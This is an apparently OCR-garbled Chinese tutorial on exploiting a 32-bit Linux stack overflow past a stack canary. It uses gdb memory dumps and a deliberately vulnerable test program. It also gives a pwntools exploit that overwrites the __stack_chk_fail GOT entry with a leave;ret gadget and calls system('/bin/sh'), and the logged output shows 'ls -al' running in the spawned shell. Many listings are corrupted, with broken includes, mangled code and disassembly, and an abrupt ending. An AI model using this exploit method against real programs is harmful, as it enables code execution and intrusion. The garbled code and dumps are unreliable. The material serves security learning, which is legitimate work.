二进制漏洞-栈溢出

测试平台

系统: CentOS release 6.10 (Final)、32 位

内核版本: Linux 2.6.32-754.10.1.el6.i686 i686 i386 GNU/Linux

gcc 版本: 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC)

gdb 版本: GNU gdb (GDB) Red Hat Enterprise Linux (7.2-92.el6)

libc 版本: libc-2.12.so

漏洞原理

在对栈缓冲区进行写操作时(如 memcpy),未对缓冲区大小进行判断,导致写入数据 长度可能大于缓冲区长度。

通用利用方式

写入数据覆盖返回地址,使返回地址指向恶意代码起始地址。由于我是基于本地测试,也就是 libc 库的版本已知,而基于远程攻击或不同版本的 libc 库可能会存在差异。

漏洞测试程序

```
#include <stdib.h>
#include <stdio.h>
#include <string.h>

void wh(const char* w) {
        if(strncmp(w, "say", 3) == 0) {
            printf("you said hello world!\n");
        } else {
            printf("you said fuck you!\n");
        }
}
int main() {
        char buf[16];
        memset(buf, 0, 16);
        printf("please input a word!\n");
        scanf("%s", buf);
        wh(buf);
        return 0;
}
```

很明显代码在执行 scanf 时未对缓冲区大小进行判断,存在栈溢出漏洞。

注意如无特殊说明,本文的 exp 都是基于该源码编译的二进制实现的。

所有测试均在 linux 环境下进行

开启 Canary

Canary 主要用于防护栈溢出攻击。对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的。

Stack canary 保护机制在刚进入函数时,在栈上放置一个标志 canary,然后在函数结束时,

判断该标志是否被改变,如果被改变,则表示有攻击行为发生,于是停止程序运行。

在 Linux 中我们将 cookie 信息称为 canary。

- -fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
- -fstack-protector-all 启用保护,为所有函数插入保护
- -fstack-protector-explicit 只对有明确 stack protect attribute 的函数开启保护

-fno-stack-protector 禁用保护

漏洞分析

现在我们对开篇提到的测试程序开启 canary 功能

并测试看看哪个是 canary 值,覆盖该值后会发生什么结果。首先我们反汇编看一下 main 函数:

```
08048527 <main>:
                                               %ebp
                                        push
               89 e5
                                               %esp,%ebp
                                        mov
                                               $0xffffffff0,%esp
804852a:
               83 e4 f0
                                        and
804852d:
               83 ec 30
                                               $0x30.%esp
                                        sub
               65 al 14 00 00 00
                                        mov
                                               %gs:0x14,%eax
                                                                   往栈里存入cookie
               89 44 24 2c
                                        mov
                                               %eax,0x2c(%esp)
804853a:
                                        10X
                                                eax,%eax
804853c:
               c7 44 24 08 10 00 00
                                        movl
                                               $0x10,0x8(%esp)
               c7 44 24 04 00 00 00
                                        movl
                                               $0x0,0x4(%esp)
804854b:
               8d 44 24 1c
                                        lea
                                               0x1c(%esp), %eax
                                               %eax,(%esp)
               89 04 24
                                        mov
8048553:
               e8 54 fe ff ff
                                        call
                                               80483ac <memset@plt>
               c7 04 24 91 86 04 08
                                               $0x8048691,(%esp)
8048558:
                                        movl
804855f:
               e8 88 fe ff ff
                                        call
                                               80483ec <puts@plt>
               b8 a6 86 04 08
                                               $0x80486a6,%eax
                                        mov
               8d 54 24 1c
                                               0x1c(%esp),%edx
                                        lea
804856d:
                                               %edx.0x4(%esp)
                                        mov
8048571:
               89 04 24
                                               %eax, (%esp)
                                        mov
8048574:
               e8 63 fe ff ff
                                        call
                                               80483dc <__isoc99_scanf@plt>
8048579:
               8d 44 24 1c
                                               0x1c(%esp),%eax
                                        lea
                                               %eax,(%esp)
804857d:
                                        mov
8048580:
               e8 3f ff ff ff
                                        call
                                               80484c4 <wh>>
8048585:
                                               $0x0,%eax
               b8 00 00 00 00
                                        mov
               8b 54 24 2c
804858a:
                                        mov
                                               0x2c(%esp),%edx
804858e:
                                        xor
                                               %gs:0x14,%edx
               74 05
                                               804859c <main+0x75>
                                        jе
               e8 30 fe ff ff
                                        call
                                               80483cc <__stack_chk_fail@plt>
804859c:
               c9
                                        leave
804859d:
               c_3
                                        ret
                                                从栈上取cookie和原值比较,不同
804859e:
                                        nop
                                                则指向 stack chk fail
804859f:
                                        nop
```

从上图可以看到进入函数后 cookie 值会被存入到栈中,离开函数时会从栈中取出该值和原

值做比较,如果不相同执行 stack chk fail 终止程序执行。

```
scanf("%s", buf);
(gdb) x/32x $sp
xbffff200:
              0x08048691
                                                           0x080485c9
xbffff210:
                                                           0X000000000
              0x007821d8
xbffff220:
                                                           0xff8b6fe6
xbffff230:
              0x080485b0
                                             0xbffff2b8
                                                            0x00607d28
xbffff240:
                             0xbffff2e4
                                             0xbffff2ec
                                                            0xb7fff3d0
              0x00000001
0xbffff250:
                             0xffffffff
              0x08048410
                                             0x005e9fc4
                                                            0x08048299
0xbffff260:
0xbffff270:
                             0xbffff2a0
                                            0x005d8e85
                                                            0x005eaab8
                             0x00783ff4
              0xb7fff6b0
                                                           0x000000000
                                            0x00000000
(gdb) n
                                                                                 它被覆盖了,很明
AAAAAAAAAAAAAAA
              wh(buf);
(gdb) x/32x $sp
xbffff200:
              0x080486a6
                             0xbffff21c
xbffff210:
              0x007821d8
xbffff220:
                                                           0xff8b0041
                                            0xbffff2b8
0xbffff2ec
xbffff230:
              0x080485b0
                             0x00000000
                                                            UXUU6U70Z8
0xbffff240:
                                                           0xb7fff3d0
                             0xbffff2e4
              0x00000001
                             0xffffffff
0xbffff2a0
xbffff250:
                                            0x005e9fc4
              0x08048410
                                                           0x08048299
xbffff260:
              0x00000001
                                            0x005d8e85
                                                           0x005eaab8
xbffff270:
              0xb7fff6b0
                             0x00783ff4
                                            0x000000000
                                                           0x000000000
(gdb) n
you said fuck you!
                                                                        程序检查canary被覆盖,程
              return 0;
(gdb) n
(gdb) n
   stack smashing detected ***: /home/sp00f/vul_test/stack_overflow/canary/test_only_canary terminated
    === Backtrace:
```

从图上可以看到紧挨着 buf 后的四个字节既是 canary 的 cookie 值, 我们覆盖并绕过 cookie 再验证一下我们的判定是否正确,另外我们还需要确认在不覆盖 cookie 值的同时覆盖返回地址程序还能否继续运行:

从下图我们可以看到,只要不覆盖 cookie 值,程序不会再被终止,并且返回地址被成功覆盖。程序执行控制流被我们劫持。

从图上可以得到 buf 和返回地址之间是 32 个字节。

```
(adb) x/32x $sp
xbffff200:
                 0x080486a6
                                  0xbffff21c
                                                   0x00000010
                                                                    0x080485c9
0xbffff210:
                0x007821d8
                                  0x08048299
                                                   0x00785160
                                                                    0x6c6c6568
xbffff220:
                0x0000006f
                                  0x000000000
                                                   0x00000000
                                                                   0x055ade3c
0xbffff230:
                0x080485b0
                                  0x00000000
                                                   0xbffff2b8
                                                                    0x00607d28
                0x00000001
xbffff240:
                                  0xbffff2e4
                                                   0xbffff2ec
                                                                    0xb7fff3d0
0xbffff250:
                                                   0x005e9fc4
                0x08048410
                                  0xffffffff
                                                                    0x08048299
                0x00000001
                                  0xbffff2a0
                                                   0x005d8e85
                                                                    0x005eaab8
xbffff260:
xbffff270:
                0xb7fff6b0
                                                   0x000000000
                                                                    0x000000000
                                 0x00783ff4
(gdb) set {unsigned int} 0xbffff230 = 0x41414141
(gdb) set {unsigned int} 0xbffff234 = 0x41414141
                                                          绕过canary,覆盖返回地址,程
(gdb) set {unsigned int} 0xbffff238 = 0x41414141
                                                          序未发生崩溃
gdb) set {unsigned int} 0xbffff23c = 0x41414141
(gdb) x/32x $sp
                                                     00500010
00785160
                                                   0X00
xbffff200:
                0x080486a6
                                  0xbffff21c
                                                                    0x080485c9
0xbffff210:
                0x007821d8
                                                                    0x6c6c6568
                                  0x08048299
                                                   0x00000000
                                                                    0x055ade3c
                0x0000006f
                                  0x000000000
xbffff220:
0xbffff230:
                0x41414141
                                  0x41414141
                                                   0x41414141
                                                                    0x41414141
                                                   0xbffff2ec
xbffff240:
                0x00000001
                                  0xbffff2e4
                                                                    0xb7fff3d0
                                 0xffffffff
0xbffff2a0
0x00783ff4
0xbffff250:
0xbffff260:
                0x08048410
                                                   0x005e9fc4
                                                                    0x08048299
                                                   0x005d8e85
                                                                    0x005eaab8
                0x00000001
0xbffff270:
                0xb7fff6b0
                                                   0x00000000
                                                                    0x00000000
(qdb) n
you said fuck you!
                 return 0;
(gdb) n
gdb) n
0x41414141 in ?? ()
```

注意,程序每次运行栈上保存的 canary 的值并不相同,每次该值都会发生变化。经过测试 所有函数公用同一个值。

```
(gdb) x/5i $pc
   0x8048560 <main+9>: mov
                                 %gs:0x14,%eax
  0x8048566 <main+15>: mov
0x804856a <main+19>: xor
                                  %eax.0x2c(%esp)
                                 %eax,%eax
  0x804856c <main+21>: movl
                                 $0x10,0x8(%esp)
                                 $0x0,0x4(%esp)
  0x8048574 <main+29>: movl
gdb) ni
0x08048566
                          int main() {
(gdb) p/x $eax
1 = 0x358e63d4
adb) n
                 memset(buf, 0, 16);
(gdb) n
                 printf("please input a word!\n");
(gdb) n
please input a word!
                 scanf("%s", buf);
(gdb) n
hello
                 wh(buf);
(qdb) n
Breakpoint 1, wh (w=0xbffff20c "hello") at test_ennx1.c:7
        void wh(const char* w) {
      x/5i Spc
  0x80484d0 <wh+12>:
                                 %gs:0x14,%eax
                          mov
  0x80484d6 <wh+18>:
                          moν
                                  %eax,-0xc(%ebp)
  0x80484d9 < wh+21>:
                          xor
                                  %eax,%eax
  0x80484db <wh+23>:
                          movl
                                 $0x3,0x8(%esp)
  0x80484e3 <wh+31>:
                                 $0x80486a4,0x4(%esp)
                          movl
gdb) ni
0x080484d6
                          void wh(const char* w) {
(gdb) p/x $eax
82 = 0x358e63d4
```

SP00F|版权属于我个人所有,你可以用于学习,但不可以用于商业目的

```
(gdb) p/x $eax
52 = 0 \times 358 e 63 d 4
adb) n
                if(strncmp(w, "say", 3) == 0) {
(gdb) n
                        printf("you said fuck you!\n");
(gdb) n
you said fuck you!
(gdb) n
main () at test_ennx1.c:29
                test();
(gdb) x/5i $pc
 > 0x80485b5 <main+94>: call
                               0x8048527 <test>
  0x80485ba <main+99>: mov
                               $0x0,%eax
  0x80485bf <main+104>:
                               mov
                                       0x2c(%esp),%edx
  0x80485c3 <main+108>:
                                xor
                                       %gs:0x14,%edx
                                jе
  0x80485ca <main+115>:
                                       0x80485d1 <main+122>
(gdb) n
Breakpoint 2, test () at test_ennx1.c:15
       void test() {
(gdb) x/5i $pc
  0x804852d <test+6>: mov
                               %gs:0x14,%eax
  0x8048533 <test+12>: mov
                               %eax,-0xc(%ebp)
  0x8048536 <test+15>: xor
                               %eax.%eax
  0x8048538 <test+17>: movl
                               $0x80486d1, (%esp)
  0x804853f <test+24>: call
                              0x80483ec <puts@plt>
gdb) ni
                        void test() {
(qdb) p/x Seax
  = 0x358e63d4
```

实现 exp

爆破

爆破原理和方法同绕过 ASLR 方式,不过这里爆破的范围比较大,成功的概率低(略)

信息泄露

信息泄露办法同绕过 ASLR、PIE,同样需要借助程序自身存在的任意读写漏洞或者格式化字符串漏洞来达到泄露 canary 值的目的。在执行栈覆盖时,在栈上保存 canary 值处覆盖为泄露出的 canary 值,其他攻击步骤不变(略)。

劫持 stack chk fail 函数

从上面分析我们可看出,一旦 canary 被覆盖,原 canary 值发生了变化程序就会执行 stack chk fail 函数, stack chk fail 函数是 libc 导出函数。

```
[sp00f@localhost canary]$ objdump --dynamic-reloc test_only_canary
test only canary:
                       file format elf32-i386
DYNAMIC RELOCATION RECORDS
                            VALUE
0FFSET
         TYPE
                            __gmon_start
08049828 R 386 GLOB DAT
08049838 R_386_JUMP_SLOT
                             __gmon_start__
0804983c R_386_JUMP_SLOT
                           memset
08049840 R 386 JUMP SLOT
                              libc start main
08049844 R_386_JUMP_SLOT
08049848 R_386_1UMP_SLOT
                            __stack_chk_fail
                              isnc99 scanf
0804984c R_386_JUMP_SLOT
                            puts
08049850 R 386 JUMP SLOT
                            strncmp
```

借助前面学过的知识,如果我们覆盖了_stack_chk_fail 的 GOT 表项,就会让函数在调用_stack_chk_fail 时跳转到我们覆盖 GOT 表项所指向的地址指令处。原理和前面的 Got 覆盖相似。但覆盖_stack_chk_fail 的 got 表项时机必须在执行该函数 ret 指令之前完成(确切的说是从栈上取 canary 值和原值进行对比之前)。如果覆盖为其他函数地址,你还需要、设置栈或者构造栈,比较麻烦(从前面分析可以看出,call_stack_chk_fail 在当前函数内部,此时因为还没有执行到当前函数的 leave; ret; 指令处,所以栈还是当前函数的栈,这时 esp 位置不确定,你构造 exp 需要分析 esp。而前面栈利用的例子都是执行完了当前函数的 ret 指令,ret 后从栈上弹出的 eip 恰好是我们覆盖后的 eip,而 esp 恰好是当前位置)。最好的方式是直接把_stack_chk_fail 的 got 表项地址覆盖为 leave; ret; 的 rop 地址,这样就相当于当前函数正确的退出了,绕过了 canary 检测,也不用重新设计栈,栈溢出攻击同前面正常利用。

为了方便讲解我们需要重新设计一段代码,代码中包含一个可以任意修改内存的函数(现实中只能靠程序本身存在的如格式化字符串漏洞,或者其他任意内存写漏洞来实现内存覆盖),设计后的代码如下:

SPOOF|版权属于我个人所有,你可以用于学习,但不可以用于商业目的

```
‡include <stdlib.h
‡include <stdio.h>
include <sture...
include <string
                                 提供一个修改内存的函数
void over_write() {-
        unsigned int val:
        unsigned int addr;
        printf('
        scanf("%x", &addr);
        printf("
        scanf("%x", &val);
        memcpy((void*)addr, &val, sizeof(int));
                                x n, addr, val);
        printf("%x r
        printf("%x replaced %x\n , addr, val);
printf("%x, %x\n", addr, *(unsigned int*)addr);
void wh(const char* w) {
         if(strncmp(w, "say", 3) == 0) {
    printf("you said hello world!\n");
        } else {
                  printf("you said fuck you!\n");
        over write();
int main() {
         char buf[16];
        memset(buf, 0, 16);
        printf("
        scanf("%s", buf);
        wh(buf);
         return 0;
```

搜寻到的 leave; ret; rop 链:

```
[sp00f@localhost canary]$ ROPgadget --binary test_canary_overgot --only "leave|ret"
Gadgets information

x080483ce : leave : ret
0x080483ae : ret
Unique gadgets found: 2
```

Exp 代码(为方便演示,编译程序关闭了 ASLR 和 PIE,仅开启了 NX 和 canary):

```
rom pwn import *
context(arch = 'i386', os = 'linux', log_level='debug')
                                                                      为方便演示,编译的程序
关闭了ASLR和PIE
 = process(
elf = p.elf
libc = ELF(
main = elf.symbols["main"]
 _stack_chk_fail_got = elf.got["__stack_chk_fail"]
lev_ret_rop
print '
        %(lev_ret_rop, main, __stack_chk_fail_got)
system_addr = libc.symbols["system"]
binsh_addr = libc.search("/bin/sh").next()
binsh_addr = libc.search("/bin/sh").next()
                                        %s" %( hex(system_addr), hex(binsh_addr))
payload = "A" * 32 + p32(system_addr) + p32(main) + p32(binsh_addr)
p.sendline(payload)
p.recvline()
p.recvline()
p.recvline()
o.sendline(hex(__stack_chk_fail_got))
p. recvline()
                                                      实现got覆盖
o.sendline(hex(lev_ret_rop))
o.recvline()
p.recvline()
p.sendline(
p.recvline()
p.close()
```

覆盖在执行 leave; ret 前的执行效果 (明显就崩溃了, 时机很重要), 使用不同程序进行的

测试:

正确覆盖 stack chk fail 的 got 表项后执行结果:

```
sp00f@localhost canary]$ python test_canary.py
!] Pwntools does not support 32-bit Python. Use a 64-bit release.
+] Starting local process './test_canary_overgot': pid 31760
       PLT 0x80483e0 __gmon_start_
       PLT 0x80483f0 memset
       PLT 0x8048400 __libc_start_main
       PLT 0x8048410 memcpy
PLT 0x8048420 printf
       PLT 0x8048430 __stack_chk_fail
PLT 0x8048440 __isoc99_scanf
       PLT 0x8048450 puts
       PLT 0x8048460 strncmp
   '/home/sp00f/vul_test/stack_overflow/canary/test_canary_overgot
             i386-32-little
   RELR0:
   Stack:
   NX:
   PIE:
       PLT 0x607a84 calloc
       PLT 0x607a94 realloc
       PLT 0x607aa4 malloc
       PLT 0x607ab4 ___tls_get_addr
       PLT 0x607ac4 memalign
       PLT 0x607ad4 free
       PLT 0x607ae4 _Unwind_Find_FDE
   '/lib/libc.so.6'
   Arch:
             i386-32-little
   RELR0:
             Canary found
NX enabled
   Stack:
   NX:
   PIF
ev_ret_rop : 80483ce, main 8048642, __stack_chk_fail 80499b0
off system 0x62bf00, off /bin/sh 0x747b65
   42 86 04 08 65 7b 74
                                                                 | · · b · | B · · · | e{t · | · |
lev_ret_rop : 80483ce, main 8048642,
                                        stack_chk_fail 80499b0
off system 0x62bf00, off /bin/sh 0x747b65
    IG] Sent 0x2d bytes:
   42 86 04 08 65 7b 74
                                                                     | · · b · | B · · · | e{t · | · |
   0000002d
                                                         payload, 仅调用system
    G Received 0x3d bytes:
    'please input a word!\n'
     you said fuck you!\n'
    'please input an addr\n'
     G] Sent ⊙xa bytes:
   '0x80499b0\n
    JG] Received 0x15 bytes:
                                                   完成got覆盖
    'please input a value\n'
     G] Sent Oxa bytes:
    '0x80483ce\n'
    UG] Received 0x2a bytes:
   '80499b0 replaced 80483ce\n'
   '80499b0, 80483ce\n'
   BUG] Sent 0x7 bytes:
   'ls -al\n'
                                   发生1s -al
                                                                        返回列表
    UG] Received 0x236 bytes:
                                                                                21 2 dr
                           78 72 2d 78
                                                       73 70 30 30
                                         2e 20 32 20
                                                                      wxrw | xr-x | . 2 | sp00
                                                                      f sp 00f
                                         20 20 34 30
                                                       39 36 20 39
                                         32 31 3a 31
                                                       39 20 2e
   00000040 64 72 77 78
                                                                      drwx r-xr -x. 7 sp
                           72 2d 78 72
                                         2d 78 2e 20
                                                       37 20 73 70
                                                                      00f |sp00 |f 17 |2032
                                         66 20 31 37
                                                       32 30 33 32
             20 39 e6 9c
2e 2e 0a 2d
                               20 20 32
                                         30 20 31 31
                                                       3a 32 33 20
                                                                              2 0 11 :23
                           72 77 78 72
                                         77 78 72 2d
                                                                           rwxr wxr- x. 1
                                                       78 2e 20 31
                                                                       sp0 0f s p00f
              33 35 32 20
                                                       20 32 30 3a
   000000a0
                                                       72 79 5f 6f
                                                                      43 t est_ cana ry_o
              34 33 20 74
                                         63 61 6e 61
```

变得困难。当然如果程序存在信息泄露漏洞实现绕过还是相对容易的。